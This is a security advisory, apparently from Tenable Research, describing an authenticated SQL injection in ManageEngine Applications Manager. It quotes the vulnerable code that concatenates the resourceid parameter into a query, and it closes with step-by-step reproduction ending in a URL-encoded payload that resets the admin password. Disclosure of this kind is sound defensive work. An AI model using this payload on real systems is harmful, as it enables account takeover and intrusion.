ManageEngine Applications Manager Authenticated SQLi

Tenable Research discovered an authenticated SQL injection vulnerability in ManageEngine Applications Manager.

A flaw exists in the doFilter method in the com.adventnet.appmanager.filter.UriCollector Java class. A low-privileged user can inject SQL statements via the resourceid parameter in an HTTP request sent to URL /showresource.do while using a mobile User-Agent (i.e., User-Agent:blackberry HTTP header):

if (isMobile.equalsIgnoreCase("true")) {
        ...<snip>...
        if (str1.startsWith("/showapplication.do") && queryString.contains("method=showApplication")) {
          hresp.sendRedirect(hresp.encodeRedirectURL("/mobile/DetailsView.do?method=showMGDetails&groupId=" + req.getParameter("haid")));
        } 
        ...<snip>...
          } else if (queryString.contains("method=showResourceForResourceID")) {
            ManagedApplication mo = new ManagedApplication();
            String qryToChkHAI = "Select * from AM_ManagedObject where TYPE='HAI' and RESOURCEID=" + req.getParameter("resourceid");

The attacker can perform the following actions to achieve SQLi:

- Using the Chrome browser, fetch the Applications Manager login page at https://<AppMgrHost>:8443/index.do
- Change the user agent of the Chrome browser to Android with steps: Customize and control Google Chrome -> More tools -> Developer tools -> Customize and control DevTools -> More tools -> Network conditions -> User agent -> uncheck Select automatically -> Android (4.0.2) browser  
- Fetch the login page at https://<AppMgrHost>:8443/index.do
- The login page should be in mobile view
- Login as a normal, non-administrator user
- Type in the following URL in the address bar:
  https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999<sqli>
- For example, to change the admin password to $attacker$, type: 
  https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999%3bUPDATE%20AM_UserPasswordTable%20SET%20password %3d%24%241de45bbd0d85df3028bbcc4e1bb8d59a%24%24%20WHERE%20username%3d%24%24admin%24%24%3b%20--